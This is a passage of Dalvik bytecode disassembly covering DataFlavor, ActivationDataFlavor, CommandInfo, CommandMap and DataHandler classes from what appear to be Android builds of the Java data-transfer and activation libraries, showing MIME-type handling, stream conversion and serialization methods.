:C
0000000C  new-instance            v0, IllegalArgumentException
00000010  const-string            v1, "awt.16E"
00000014  invoke-static           Messages->getString(String)String, v1
0000001A  move-result-object      v1
0000001C  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
00000022  throw                   v0
:24
00000024  instance-of             v1, v0, Reader
00000028  if-eqz                  v1, :38
:2C
0000002C  check-cast              v0, Reader
00000030  invoke-virtual          Reader->reset()V, v0
:36
00000036  return-object           v0
:38
00000038  instance-of             v1, v0, String
0000003C  if-eqz                  v1, :52
:40
00000040  new-instance            v1, StringReader
00000044  check-cast              v0, String
00000048  invoke-direct           StringReader-><init>(String)V, v1, v0
0000004E  move-object             v0, v1
00000050  goto                    :36
:52
00000052  instance-of             v1, v0, CharBuffer
00000056  if-eqz                  v1, :74
:5A
0000005A  new-instance            v1, CharArrayReader
0000005E  check-cast              v0, CharBuffer
00000062  invoke-virtual          CharBuffer->array()[C, v0
00000068  move-result-object      v0
0000006A  invoke-direct           CharArrayReader-><init>([C)V, v1, v0
00000070  move-object             v0, v1
00000072  goto                    :36
:74
00000074  instance-of             v1, v0, [C
00000078  if-eqz                  v1, :8E
:7C
0000007C  new-instance            v1, CharArrayReader
00000080  check-cast              v0, [C
00000084  invoke-direct           CharArrayReader-><init>([C)V, v1, v0
0000008A  move-object             v0, v1
0000008C  goto                    :36
:8E
0000008E  invoke-direct           DataFlavor->getCharset()String, p0
00000094  move-result-object      v2
00000096  instance-of             v1, v0, InputStream
0000009A  if-eqz                  v1, :C2
:9E
0000009E  check-cast              v0, InputStream
000000A2  invoke-virtual          InputStream->reset()V, v0
:A8
000000A8  invoke-virtual          String->length()I, v2
000000AE  move-result             v1
000000B0  if-nez                  v1, :116
:B4
000000B4  new-instance            v1, InputStreamReader
000000B8  invoke-direct           InputStreamReader-><init>(InputStream)V, v1, v0
000000BE  move-object             v0, v1
000000C0  goto                    :36
:C2
000000C2  instance-of             v1, v0, ByteBuffer
000000C6  if-eqz                  v1, :E4
:CA
000000CA  new-instance            v1, ByteArrayInputStream
000000CE  check-cast              v0, ByteBuffer
000000D2  invoke-virtual          ByteBuffer->array()[B, v0
000000D8  move-result-object      v0
000000DA  invoke-direct           ByteArrayInputStream-><init>([B)V, v1, v0
000000E0  move-object             v0, v1
000000E2  goto                    :A8
:E4
000000E4  instance-of             v1, v0, [B
000000E8  if-eqz                  v1, :FE
:EC
000000EC  new-instance            v1, ByteArrayInputStream
000000F0  check-cast              v0, [B
000000F4  invoke-direct           ByteArrayInputStream-><init>([B)V, v1, v0
000000FA  move-object             v0, v1
000000FC  goto                    :A8
:FE
000000FE  new-instance            v0, IllegalArgumentException
00000102  const-string            v1, "awt.16F"
00000106  invoke-static           Messages->getString(String)String, v1
0000010C  move-result-object      v1
0000010E  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
00000114  throw                   v0
:116
00000116  new-instance            v1, InputStreamReader
0000011A  invoke-direct           InputStreamReader-><init>(InputStream, String)V, v1, v0, v2
00000120  move-object             v0, v1
00000122  goto                    :36
.end method

.method public getRepresentationClass()Class
          .registers 2
00000000  iget-object             v0, p0, DataFlavor->representationClass:Class
00000004  return-object           v0
.end method

.method public getSubType()String
          .registers 2
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C  invoke-virtual          MimeTypeProcessor$MimeType->getSubType()String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public hashCode()I
          .registers 2
00000000  invoke-direct           DataFlavor->getKeyInfo()String, p0
00000006  move-result-object      v0
00000008  invoke-virtual          String->hashCode()I, v0
0000000E  move-result             v0
00000010  return                  v0
.end method

.method public isFlavorJavaFileListType()Z
          .registers 3
00000000  const-class             v0, List
00000004  iget-object             v1, p0, DataFlavor->representationClass:Class
00000008  invoke-virtual          Class->isAssignableFrom(Class)Z, v0, v1
0000000E  move-result             v0
00000010  if-eqz                  v0, :28
:14
00000014  sget-object             v0, DataFlavor->javaFileListFlavor:DataFlavor
00000018  invoke-virtual          DataFlavor->isMimeTypeEqual(DataFlavor)Z, p0, v0
0000001E  move-result             v0
00000020  if-eqz                  v0, :28
:24
00000024  const/4                 v0, 0x1
:26
00000026  return                  v0
:28
00000028  const/4                 v0, 0x0
0000002A  goto                    :26
.end method

.method public isFlavorRemoteObjectType()Z
          .registers 2
00000000  const-string            v0, "application/x-java-remote-object"
00000004  invoke-virtual          DataFlavor->isMimeTypeEqual(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-eqz                  v0, :20
:10
00000010  invoke-virtual          DataFlavor->isRepresentationClassRemote()Z, p0
00000016  move-result             v0
00000018  if-eqz                  v0, :20
:1C
0000001C  const/4                 v0, 0x1
:1E
0000001E  return                  v0
:20
00000020  const/4                 v0, 0x0
00000022  goto                    :1E
.end method

.method public isFlavorSerializedObjectType()Z
          .registers 2
00000000  invoke-virtual          DataFlavor->isMimeTypeSerializedObject()Z, p0
00000006  move-result             v0
00000008  if-eqz                  v0, :1C
:C
0000000C  invoke-virtual          DataFlavor->isRepresentationClassSerializable()Z, p0
00000012  move-result             v0
00000014  if-eqz                  v0, :1C
:18
00000018  const/4                 v0, 0x1
:1A
0000001A  return                  v0
:1C
0000001C  const/4                 v0, 0x0
0000001E  goto                    :1A
.end method

.method public isFlavorTextType()Z
          .registers 4
00000000  const/4                 v0, 0x1
00000002  sget-object             v1, DataFlavor->stringFlavor:DataFlavor
00000006  invoke-virtual          DataFlavor->equals(DataFlavor)Z, p0, v1
0000000C  move-result             v1
0000000E  if-nez                  v1, :22
:12
00000012  sget-object             v1, DataFlavor->plainTextFlavor:DataFlavor
00000016  invoke-virtual          DataFlavor->equals(DataFlavor)Z, p0, v1
0000001C  move-result             v1
0000001E  if-eqz                  v1, :24
:22
00000022  return                  v0
:24
00000024  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000028  if-eqz                  v1, :4C
:2C
0000002C  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000030  invoke-virtual          MimeTypeProcessor$MimeType->getPrimaryType()String, v1
00000036  move-result-object      v1
00000038  const-string            v2, "text"
0000003C  invoke-virtual          String->equals(Object)Z, v1, v2
00000042  move-result             v1
00000044  if-nez                  v1, :4C
:48
00000048  const/4                 v0, 0x0
0000004A  goto                    :22
:4C
0000004C  invoke-direct           DataFlavor->getCharset()String, p0
00000052  move-result-object      v1
00000054  invoke-direct           DataFlavor->isByteCodeFlavor()Z, p0
0000005A  move-result             v2
0000005C  if-eqz                  v2, :76
:60
00000060  invoke-virtual          String->length()I, v1
00000066  move-result             v2
00000068  if-eqz                  v2, :22
:6C
0000006C  invoke-static           DataFlavor->isCharsetSupported(String)Z, v1
00000072  move-result             v0
00000074  goto                    :22
:76
00000076  invoke-direct           DataFlavor->isUnicodeFlavor()Z, p0
0000007C  move-result             v0
0000007E  goto                    :22
.end method

.method public isMimeTypeEqual(String)Z
          .registers 4
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  invoke-static           MimeTypeProcessor->parse(String)MimeTypeProcessor$MimeType, p1
0000000A  move-result-object      v1
0000000C  invoke-virtual          MimeTypeProcessor$MimeType->equals(MimeTypeProcessor$MimeType)Z, v0, v1
:12
00000012  move-result             v0
:14
00000014  return                  v0
:16
00000016  move-exception          v0
00000018  const/4                 v0, 0x0
0000001A  goto                    :14
          .catch IllegalArgumentException {:0 .. :12} :16
.end method

.method public final isMimeTypeEqual(DataFlavor)Z
          .registers 4
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  if-eqz                  v0, :1A
:8
00000008  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C  iget-object             v1, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000010  invoke-virtual          MimeTypeProcessor$MimeType->equals(MimeTypeProcessor$MimeType)Z, v0, v1
00000016  move-result             v0
:18
00000018  return                  v0
:1A
0000001A  iget-object             v0, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E  if-nez                  v0, :26
:22
00000022  const/4                 v0, 0x1
00000024  goto                    :18
:26
00000026  const/4                 v0, 0x0
00000028  goto                    :18
.end method

.method public isMimeTypeSerializedObject()Z
          .registers 2
00000000  const-string            v0, "application/x-java-serialized-object"
00000004  invoke-virtual          DataFlavor->isMimeTypeEqual(String)Z, p0, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public isRepresentationClassByteBuffer()Z
          .registers 3
00000000  const-class             v0, ByteBuffer
00000004  iget-object             v1, p0, DataFlavor->representationClass:Class
00000008  invoke-virtual          Class->isAssignableFrom(Class)Z, v0, v1
0000000E  move-result             v0
00000010  return                  v0
.end method

.method public isRepresentationClassCharBuffer()Z
          .registers 3
00000000  const-class             v0, CharBuffer
00000004  iget-object             v1, p0, DataFlavor->representationClass:Class
00000008  invoke-virtual          Class->isAssignableFrom(Class)Z, v0, v1
0000000E  move-result             v0
00000010  return                  v0
.end method

.method public isRepresentationClassInputStream()Z
          .registers 3
00000000  const-class             v0, InputStream
00000004  iget-object             v1, p0, DataFlavor->representationClass:Class
00000008  invoke-virtual          Class->isAssignableFrom(Class)Z, v0, v1
0000000E  move-result             v0
00000010  return                  v0
.end method

.method public isRepresentationClassReader()Z
          .registers 3
00000000  const-class             v0, Reader
00000004  iget-object             v1, p0, DataFlavor->representationClass:Class
00000008  invoke-virtual          Class->isAssignableFrom(Class)Z, v0, v1
0000000E  move-result             v0
00000010  return                  v0
.end method

.method public isRepresentationClassRemote()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public isRepresentationClassSerializable()Z
          .registers 3
00000000  const-class             v0, Serializable
00000004  iget-object             v1, p0, DataFlavor->representationClass:Class
00000008  invoke-virtual          Class->isAssignableFrom(Class)Z, v0, v1
0000000E  move-result             v0
00000010  return                  v0
.end method

.method public match(DataFlavor)Z
          .registers 3
00000000  invoke-virtual          DataFlavor->equals(DataFlavor)Z, p0, p1
00000006  move-result             v0
00000008  return                  v0
.end method

.method protected normalizeMimeType(String)String
          .registers 2
          .annotation runtime Deprecated
          .end annotation
00000000  return-object           p1
.end method

.method protected normalizeMimeTypeParameter(String, String)String
          .registers 3
          .annotation runtime Deprecated
          .end annotation
00000000  return-object           p2
.end method

.method public declared-synchronized readExternal(ObjectInput)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  invoke-interface        ObjectInput->readObject()Object, p1
00000008  move-result-object      v0
0000000A  check-cast              v0, String
0000000E  iput-object             v0, p0, DataFlavor->humanPresentableName:String
00000012  invoke-interface        ObjectInput->readObject()Object, p1
00000018  move-result-object      v0
0000001A  check-cast              v0, MimeTypeProcessor$MimeType
0000001E  iput-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000022  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000026  if-eqz                  v0, :4A
:2A
0000002A  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002E  const-string            v1, "class"
00000032  invoke-virtual          MimeTypeProcessor$MimeType->getParameter(String)String, v0, v1
00000038  move-result-object      v0
0000003A  invoke-static           Class->forName(String)Class, v0
00000040  move-result-object      v0
:42
00000042  iput-object             v0, p0, DataFlavor->representationClass:Class
:46
00000046  monitor-exit            p0
00000048  return-void
:4A
0000004A  const/4                 v0, 0x0
0000004C  goto                    :42
:4E
0000004E  move-exception          v0
00000050  monitor-exit            p0
00000052  throw                   v0
          .catchall {:2 .. :46} :4E
.end method

.method public setHumanPresentableName(String)V
          .registers 2
00000000  iput-object             p1, p0, DataFlavor->humanPresentableName:String
00000004  return-void
.end method

.method public toString()String
          .registers 3
00000000  new-instance            v0, StringBuilder
00000004  invoke-virtual          Object->getClass()Class, p0
0000000A  move-result-object      v1
0000000C  invoke-virtual          Class->getName()String, v1
00000012  move-result-object      v1
00000014  invoke-static           String->valueOf(Object)String, v1
0000001A  move-result-object      v1
0000001C  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000022  const-string            v1, "[MimeType=("
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          DataFlavor->getMimeType()String, p0
00000034  move-result-object      v1
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003C  move-result-object      v0
0000003E  const-string            v1, ");humanPresentableName="
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000048  move-result-object      v0
0000004A  iget-object             v1, p0, DataFlavor->humanPresentableName:String
0000004E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000054  move-result-object      v0
00000056  const-string            v1, "]"
0000005A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000060  move-result-object      v0
00000062  invoke-virtual          StringBuilder->toString()String, v0
00000068  move-result-object      v0
0000006A  return-object           v0
.end method

.method public declared-synchronized writeExternal(ObjectOutput)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, DataFlavor->humanPresentableName:String
00000006  invoke-interface        ObjectOutput->writeObject(Object)V, p1, v0
0000000C  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000010  invoke-interface        ObjectOutput->writeObject(Object)V, p1, v0
:16
00000016  monitor-exit            p0
00000018  return-void
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
          .catchall {:2 .. :16} :1A
.end method

#--------------------------------------------------------------------------------
.class public ActivationDataFlavor
.super DataFlavor
.source ""

.field private humanPresentableName:String
.field private mimeObject:MimeType
.field private mimeType:String
.field private representationClass:Class

.method public constructor <init>(Class, String)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           DataFlavor-><init>(Class, String)V, p0, p1, p2
00000008  iput-object             v0, p0, ActivationDataFlavor->mimeType:String
0000000C  iput-object             v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000010  iput-object             v0, p0, ActivationDataFlavor->humanPresentableName:String
00000014  iput-object             v0, p0, ActivationDataFlavor->representationClass:Class
00000018  invoke-super            DataFlavor->getMimeType()String, p0
0000001E  move-result-object      v0
00000020  iput-object             v0, p0, ActivationDataFlavor->mimeType:String
00000024  iput-object             p1, p0, ActivationDataFlavor->representationClass:Class
00000028  iput-object             p2, p0, ActivationDataFlavor->humanPresentableName:String
0000002C  return-void
.end method

.method public constructor <init>(Class, String, String)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-direct           DataFlavor-><init>(String, String)V, p0, p2, p3
00000008  iput-object             v0, p0, ActivationDataFlavor->mimeType:String
0000000C  iput-object             v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000010  iput-object             v0, p0, ActivationDataFlavor->humanPresentableName:String
00000014  iput-object             v0, p0, ActivationDataFlavor->representationClass:Class
00000018  iput-object             p2, p0, ActivationDataFlavor->mimeType:String
0000001C  iput-object             p3, p0, ActivationDataFlavor->humanPresentableName:String
00000020  iput-object             p1, p0, ActivationDataFlavor->representationClass:Class
00000024  return-void
.end method

.method public constructor <init>(String, String)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           DataFlavor-><init>(String, String)V, p0, p1, p2
00000008  iput-object             v0, p0, ActivationDataFlavor->mimeType:String
0000000C  iput-object             v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000010  iput-object             v0, p0, ActivationDataFlavor->humanPresentableName:String
00000014  iput-object             v0, p0, ActivationDataFlavor->representationClass:Class
00000018  iput-object             p1, p0, ActivationDataFlavor->mimeType:String
:1C
0000001C  const-string            v0, "java.io.InputStream"
00000020  invoke-static           Class->forName(String)Class, v0
00000026  move-result-object      v0
00000028  iput-object             v0, p0, ActivationDataFlavor->representationClass:Class
:2C
0000002C  iput-object             p2, p0, ActivationDataFlavor->humanPresentableName:String
00000030  return-void
:32
00000032  move-exception          v0
00000034  goto                    :2C
          .catch ClassNotFoundException {:1C .. :2C} :32
.end method

.method public equals(DataFlavor)Z
          .registers 4
00000000  invoke-virtual          ActivationDataFlavor->isMimeTypeEqual(DataFlavor)Z, p0, p1
00000006  move-result             v0
00000008  if-eqz                  v0, :20
:C
0000000C  invoke-virtual          DataFlavor->getRepresentationClass()Class, p1
00000012  move-result-object      v0
00000014  iget-object             v1, p0, ActivationDataFlavor->representationClass:Class
00000018  if-ne                   v0, v1, :20
:1C
0000001C  const/4                 v0, 0x1
:1E
0000001E  return                  v0
:20
00000020  const/4                 v0, 0x0
00000022  goto                    :1E
.end method

.method public getHumanPresentableName()String
          .registers 2
00000000  iget-object             v0, p0, ActivationDataFlavor->humanPresentableName:String
00000004  return-object           v0
.end method

.method public getMimeType()String
          .registers 2
00000000  iget-object             v0, p0, ActivationDataFlavor->mimeType:String
00000004  return-object           v0
.end method

.method public getRepresentationClass()Class
          .registers 2
00000000  iget-object             v0, p0, ActivationDataFlavor->representationClass:Class
00000004  return-object           v0
.end method

.method public isMimeTypeEqual(String)Z
          .registers 4
00000000  iget-object             v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000004  if-nez                  v0, :1A
:8
00000008  new-instance            v0, MimeType
0000000C  iget-object             v1, p0, ActivationDataFlavor->mimeType:String
00000010  invoke-direct           MimeType-><init>(String)V, v0, v1
00000016  iput-object             v0, p0, ActivationDataFlavor->mimeObject:MimeType
:1A
0000001A  new-instance            v0, MimeType
0000001E  invoke-direct           MimeType-><init>(String)V, v0, p1
:24
00000024  iget-object             v1, p0, ActivationDataFlavor->mimeObject:MimeType
00000028  invoke-virtual          MimeType->match(MimeType)Z, v1, v0
0000002E  move-result             v0
:30
00000030  return                  v0
:32
00000032  move-exception          v0
00000034  iget-object             v0, p0, ActivationDataFlavor->mimeType:String
00000038  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, p1
0000003E  move-result             v0
00000040  goto                    :30
          .catch MimeTypeParseException {:0 .. :24} :32
.end method

.method protected normalizeMimeType(String)String
          .registers 2
00000000  return-object           p1
.end method

.method protected normalizeMimeTypeParameter(String, String)String
          .registers 3
00000000  return-object           p2
.end method

.method public setHumanPresentableName(String)V
          .registers 2
00000000  iput-object             p1, p0, ActivationDataFlavor->humanPresentableName:String
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public CommandInfo
.super Object
.source ""

.field private className:String
.field private verb:String

.method public constructor <init>(String, String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, CommandInfo->verb:String
0000000A  iput-object             p2, p0, CommandInfo->className:String
0000000E  return-void
.end method

.method public getCommandClass()String
          .registers 2
00000000  iget-object             v0, p0, CommandInfo->className:String
00000004  return-object           v0
.end method

.method public getCommandName()String
          .registers 2
00000000  iget-object             v0, p0, CommandInfo->verb:String
00000004  return-object           v0
.end method

.method public getCommandObject(DataHandler, ClassLoader)Object
          .registers 7
00000000  iget-object             v0, p0, CommandInfo->className:String
00000004  invoke-static           Beans->instantiate(ClassLoader, String)Object, p2, v0
0000000A  move-result-object      v1
0000000C  if-eqz                  v1, :28
:10
00000010  instance-of             v0, v1, CommandObject
00000014  if-eqz                  v0, :2A
:18
00000018  move-object             v0, v1
0000001A  check-cast              v0, CommandObject
0000001E  iget-object             v2, p0, CommandInfo->verb:String
00000022  invoke-interface        CommandObject->setCommandContext(String, DataHandler)V, v0, v2, p1
:28
00000028  return-object           v1
:2A
0000002A  instance-of             v0, v1, Externalizable
0000002E  if-eqz                  v0, :28
:32
00000032  if-eqz                  p1, :28
:36
00000036  invoke-virtual          DataHandler->getInputStream()InputStream, p1
0000003C  move-result-object      v2
0000003E  if-eqz                  v2, :28
:42
00000042  move-object             v0, v1
00000044  check-cast              v0, Externalizable
00000048  new-instance            v3, ObjectInputStream
0000004C  invoke-direct           ObjectInputStream-><init>(InputStream)V, v3, v2
00000052  invoke-interface        Externalizable->readExternal(ObjectInput)V, v0, v3
00000058  goto                    :28
.end method

#--------------------------------------------------------------------------------
.class public abstract CommandMap
.super Object
.source ""

.field private static defaultCommandMap:CommandMap

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-object             v0, CommandMap->defaultCommandMap:CommandMap
00000006  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static getDefaultCommandMap()CommandMap
          .registers 1
00000000  sget-object             v0, CommandMap->defaultCommandMap:CommandMap
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, MailcapCommandMap
0000000C  invoke-direct           MailcapCommandMap-><init>()V, v0
00000012  sput-object             v0, CommandMap->defaultCommandMap:CommandMap
:16
00000016  sget-object             v0, CommandMap->defaultCommandMap:CommandMap
0000001A  return-object           v0
.end method

.method public static setDefaultCommandMap(CommandMap)V
          .registers 4
00000000  invoke-static           System->getSecurityManager()SecurityManager
00000006  move-result-object      v0
00000008  if-eqz                  v0, :12
:C
0000000C  invoke-virtual          SecurityManager->checkSetFactory()V, v0
:12
00000012  sput-object             p0, CommandMap->defaultCommandMap:CommandMap
00000016  return-void
:18
00000018  move-exception          v0
0000001A  const-class             v1, CommandMap
0000001E  invoke-virtual          Class->getClassLoader()ClassLoader, v1
00000024  move-result-object      v1
00000026  invoke-virtual          Object->getClass()Class, p0
0000002C  move-result-object      v2
0000002E  invoke-virtual          Class->getClassLoader()ClassLoader, v2
00000034  move-result-object      v2
00000036  if-eq                   v1, v2, :12
:3A
0000003A  throw                   v0
          .catch SecurityException {:C .. :12} :18
.end method

.method public abstract createDataContentHandler(String)DataContentHandler
.end method

.method public createDataContentHandler(String, DataSource)DataContentHandler
          .registers 4
00000000  invoke-virtual          CommandMap->createDataContentHandler(String)DataContentHandler, p0, p1
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public abstract getAllCommands(String)[CommandInfo
.end method

.method public getAllCommands(String, DataSource)[CommandInfo
          .registers 4
00000000  invoke-virtual          CommandMap->getAllCommands(String)[CommandInfo, p0, p1
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public abstract getCommand(String, String)CommandInfo
.end method

.method public getCommand(String, String, DataSource)CommandInfo
          .registers 5
00000000  invoke-virtual          CommandMap->getCommand(String, String)CommandInfo, p0, p1, p2
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public getMimeTypes()[String
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return-object           v0
.end method

.method public abstract getPreferredCommands(String)[CommandInfo
.end method

.method public getPreferredCommands(String, DataSource)[CommandInfo
          .registers 4
00000000  invoke-virtual          CommandMap->getPreferredCommands(String)[CommandInfo, p0, p1
00000006  move-result-object      v0
00000008  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public abstract interface CommandObject
.super Object
.source ""

.method public abstract setCommandContext(String, DataHandler)V
.end method

#--------------------------------------------------------------------------------
.class public abstract interface DataContentHandlerFactory
.super Object
.source ""

.method public abstract createDataContentHandler(String)DataContentHandler
.end method

#--------------------------------------------------------------------------------
.class DataHandler$1
.super Object
.source ""

.implements Runnable

.field final synthetic this$0:DataHandler
.field private final synthetic val$fdch:DataContentHandler
.field private final synthetic val$pos:PipedOutputStream

.method constructor <init>(DataHandler, PipedOutputStream, DataContentHandler)V
          .registers 4
00000000  iput-object             p1, p0, DataHandler$1->this$0:DataHandler
00000004  iput-object             p2, p0, DataHandler$1->val$pos:PipedOutputStream
00000008  iput-object             p3, p0, DataHandler$1->val$fdch:DataContentHandler
0000000C  invoke-direct           Object-><init>()V, p0
00000012  return-void
.end method

.method public run()V
          .registers 5
00000000  iget-object             v0, p0, DataHandler$1->val$fdch:DataContentHandler
00000004  iget-object             v1, p0, DataHandler$1->this$0:DataHandler
00000008  invoke-static           DataHandler->access$0(DataHandler)Object, v1
0000000E  move-result-object      v1
00000010  iget-object             v2, p0, DataHandler$1->this$0:DataHandler
00000014  invoke-static           DataHandler->access$1(DataHandler)String, v2
0000001A  move-result-object      v2
0000001C  iget-object             v3, p0, DataHandler$1->val$pos:PipedOutputStream
00000020  invoke-interface        DataContentHandler->writeTo(Object, String, OutputStream)V, v0, v1, v2, v3
:26
00000026  iget-object             v0, p0, DataHandler$1->val$pos:PipedOutputStream
0000002A  invoke-virtual          PipedOutputStream->close()V, v0
:30
00000030  return-void
:32
00000032  move-exception          v0
:34
00000034  iget-object             v0, p0, DataHandler$1->val$pos:PipedOutputStream
00000038  invoke-virtual          PipedOutputStream->close()V, v0
:3E
0000003E  goto                    :30
:40
00000040  move-exception          v0
00000042  goto                    :30
:44
00000044  move-exception          v0
:46
00000046  iget-object             v1, p0, DataHandler$1->val$pos:PipedOutputStream
0000004A  invoke-virtual          PipedOutputStream->close()V, v1
:50
00000050  throw                   v0
:52
00000052  move-exception          v0
00000054  goto                    :30
:56
00000056  move-exception          v1
00000058  goto                    :50
          .catch IOException {:0 .. :26} :32
          .catchall {:0 .. :26} :44
          .catch IOException {:26 .. :30} :52
          .catch IOException {:34 .. :3E} :40
          .catch IOException {:46 .. :50} :56
.end method

#--------------------------------------------------------------------------------
.class public abstract interface Transferable
.super Object
.source ""

.method public abstract getTransferData(DataFlavor)Object
.end method

.method public abstract getTransferDataFlavors()[DataFlavor
.end method

.method public abstract isDataFlavorSupported(DataFlavor)Z
.end method

#--------------------------------------------------------------------------------
.class public DataHandler
.super Object
.source ""

.implements Transferable

.field private static final emptyFlavors:[DataFlavor
.field private static factory:DataContentHandlerFactory
.field private currentCommandMap:CommandMap
.field private dataContentHandler:DataContentHandler
.field private dataSource:DataSource
.field private factoryDCH:DataContentHandler
.field private objDataSource:DataSource
.field private object:Object
.field private objectMimeType:String
.field private oldFactory:DataContentHandlerFactory
.field private shortType:String
.field private transferFlavors:[DataFlavor

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  new-array               v0, v0, [DataFlavor
00000006  sput-object             v0, DataHandler->emptyFlavors:[DataFlavor
0000000A  const/4                 v0, 0x0
0000000C  sput-object             v0, DataHandler->factory:DataContentHandlerFactory
00000010  return-void
.end method

.method public constructor <init>(Object, String)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v1, p0, DataHandler->dataSource:DataSource
0000000C  iput-object             v1, p0, DataHandler->objDataSource:DataSource
00000010  iput-object             v1, p0, DataHandler->object:Object
00000014  iput-object             v1, p0, DataHandler->objectMimeType:String
00000018  iput-object             v1, p0, DataHandler->currentCommandMap:CommandMap
0000001C  sget-object             v0, DataHandler->emptyFlavors:[DataFlavor
00000020  iput-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
00000024  iput-object             v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000028  iput-object             v1, p0, DataHandler->factoryDCH:DataContentHandler
0000002C  iput-object             v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000030  iput-object             v1, p0, DataHandler->shortType:String
00000034  iput-object             p1, p0, DataHandler->object:Object
00000038  iput-object             p2, p0, DataHandler->objectMimeType:String
0000003C  sget-object             v0, DataHandler->factory:DataContentHandlerFactory
00000040  iput-object             v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000044  return-void
.end method

.method public constructor <init>(URL)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v1, p0, DataHandler->dataSource:DataSource
0000000C  iput-object             v1, p0, DataHandler->objDataSource:DataSource
00000010  iput-object             v1, p0, DataHandler->object:Object
00000014  iput-object             v1, p0, DataHandler->objectMimeType:String
00000018  iput-object             v1, p0, DataHandler->currentCommandMap:CommandMap
0000001C  sget-object             v0, DataHandler->emptyFlavors:[DataFlavor
00000020  iput-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
00000024  iput-object             v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000028  iput-object             v1, p0, DataHandler->factoryDCH:DataContentHandler
0000002C  iput-object             v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000030  iput-object             v1, p0, DataHandler->shortType:String
00000034  new-instance            v0, URLDataSource
00000038  invoke-direct           URLDataSource-><init>(URL)V, v0, p1
0000003E  iput-object             v0, p0, DataHandler->dataSource:DataSource
00000042  sget-object             v0, DataHandler->factory:DataContentHandlerFactory
00000046  iput-object             v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
0000004A  return-void
.end method

.method public constructor <init>(DataSource)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v1, p0, DataHandler->dataSource:DataSource
0000000C  iput-object             v1, p0, DataHandler->objDataSource:DataSource
00000010  iput-object             v1, p0, DataHandler->object:Object
00000014  iput-object             v1, p0, DataHandler->objectMimeType:String
00000018  iput-object             v1, p0, DataHandler->currentCommandMap:CommandMap
0000001C  sget-object             v0, DataHandler->emptyFlavors:[DataFlavor
00000020  iput-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
00000024  iput-object             v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000028  iput-object             v1, p0, DataHandler->factoryDCH:DataContentHandler
0000002C  iput-object             v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000030  iput-object             v1, p0, DataHandler->shortType:String
00000034  iput-object             p1, p0, DataHandler->dataSource:DataSource
00000038  sget-object             v0, DataHandler->factory:DataContentHandlerFactory
0000003C  iput-object             v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000040  return-void
.end method

